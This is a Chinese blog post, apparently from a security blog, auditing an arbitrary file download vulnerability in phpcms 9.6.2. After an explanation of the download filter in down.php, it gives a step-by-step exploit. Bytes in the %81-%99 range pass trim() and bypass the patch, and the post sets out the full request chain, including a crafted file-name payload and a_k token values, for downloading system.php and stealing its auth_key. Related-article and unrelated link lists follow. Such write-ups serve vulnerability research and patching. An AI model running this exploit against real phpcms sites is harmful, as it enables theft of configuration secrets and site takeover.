漏洞文件:

phpcms\modules\content\down.php

1、在download函数中对文件的校验部分 首先

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

$fileurl = trim($f);

$f为文件变量 首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\”外链文件,是否”..”目录跳转,满足其中一个条件就返回True。(不满足下载条件)

这里可以使用一些空白字符进行绕过

2、接着$f的值赋给了$fileurl参数,再做了一次内容判断。

$fileurl = trim($f);

if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));

这里使用了trim函数对空白字符进行处理,也是可以绕过的,%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件,如下图所示。

因此通过使用%81-%99间的字符来绕过补丁进行任意文件下载,需要构造好a_k的值,才能进行下载。

第一步:进行如下请求获得YDVIB_siteid的值。

请求:

[GET]http://192.168.5.160/index.php?m=wap&c=index&a=init&siteid=1

获得:

[cookie]21ebz8zRmJ8Y_m7OM_VlHrRvxdMisgtDGXxRQRCF

第二步:在[POST DATA] 中的userid_flash参数的值设置为,第一步请求得到的YDVIB_siteid参数的值,并进行如下请求。

请求:

[GET] http://192.168.5.160/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%253ep%2581%26modelid=1%26d=1&aid=1

[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

获得:

[cookie] YDVIB_att_json:dfefgKrvvX3Dihf2dKENiuH78N1LocF9TtzPiiTrpHoOV4kuAaY56OISz7SsUbDxC-DglgikxBKdqM6DzIBILxWpxA5_B6lDJbHq8V20LWUJIHiBIhazs7lyseq8B033wtpS7bjiv-Mz4_RuAFW3lZ_mNz4mFD5ur7cmv_3OKYh5Bj8

第三步:将GET请求中的a_k参数的值设置为第二步请求获得的YDVIB_att_json参数的值,并进行如下请求。

请求:

[get] http://192.168.5.160/index.php?m=content&c=down&a=init&a_k=dfefgKrvvX3Dihf2dKENiuH78N1LocF9TtzPiiTrpHoOV4kuAaY56OISz7SsUbDxC-DglgikxBKdqM6DzIBILxWpxA5_B6lDJbHq8V20LWUJIHiBIhazs7lyseq8B033wtpS7bjiv-Mz4_RuAFW3lZ_mNz4mFD5ur7cmv_3OKYh5Bj8

最后点击”点击下载”的按钮进行如下请求,便可以下载/caches/configs/system.php文件,得到里面的’auth_key’

http://192.168.5.160//index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

代码审计-phpcms9.6.2任意文件下载漏洞的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  3. 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

      0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www ...

  4. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  5. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  6. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  7. 任意文件下载漏洞的接口URL构造分析与讨论

    文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...

  8. PHP代码审计03之实例化任意对象漏洞

    前言 根据红日安全写的文章,学习PHP代码审计的第三节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完相关知识点,会用一道CTF题目来加深巩固.之前分别学习讲解了in_arr ...

  9. dzzoffice 任意文件下载漏洞分析

    dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_ ...

随机推荐

  1. spring boot整合kafka

    最近项目需求用到了kafka信息中间件,在此做一次简单的记录,方便以后其它项目用到. 引入依赖 <dependency> <groupId>org.springframewor ...

  2. 新手学习FFmpeg - 调用API调整视频局部速率

    通过修改setpts代码实现调整视频部分的播放速率. 完整代码可参考: https://andy-zhangtao.github.io/ffmpeg-examples/ 在前面提到了PTS/DTS/T ...

  3. 关于样式style

    今天看到了一个bgcolor和以前看过的background-color,特意查了一下区别 百度是这么说的:background-color是标准CSS属性,bgcolor应该是IE扩展的html元素 ...

  4. Mysql优化总结(一)

    一,前言 ​ 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库. ​ MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司.My ...

  5. http响应

    1.http响应 2.响应行常见状态码 200 :请求成功. 302 :请求重定向. 当访问网址A时,由于网址A服务器端的拦截器或者其他后端代码处理的原因,会被重定向到网址B. 304 :请求资源没有 ...

  6. Eclipse中Spring Boot响应jsp的简单demo

    首先在Eclipse里新建一个maven工程,这里的打包类型和父包如果后续再去pom中添加也可以 此时的工程路径是这样的 接下来去到pom中添加相关的依赖,如果有报错maven update一下即可 ...

  7. ActiveMQ高级特性

    一.常用配置属性 以下配置文件目录均为:${activemq_home}/conf/activemq.xml 1.定期扫描清理 ActiveMQ中有一项功能:Delete Inactive Desti ...

  8. elasticsearch深度分页问题

    elasticsearch专栏:https://www.cnblogs.com/hello-shf/category/1550315.html 一.深度分页方式from + size es 默认采用的 ...

  9. 基于Spark的电影推荐系统(实战简介)

    写在前面 一直不知道这个专栏该如何开始写,思来想去,还是暂时把自己对这个项目的一些想法 和大家分享 的形式来展现.有什么问题,欢迎大家一起留言讨论. 这个项目的源代码是在https://github. ...

  10. js运动基础2(运动的封装)

    简单运动的封装 先从最简单的封装开始,慢慢的使其更丰富,更实用. 还是上一篇博文的代码,在此不作细说. 需求:点击按钮,让元素匀速运动. <!DOCTYPE html> <html ...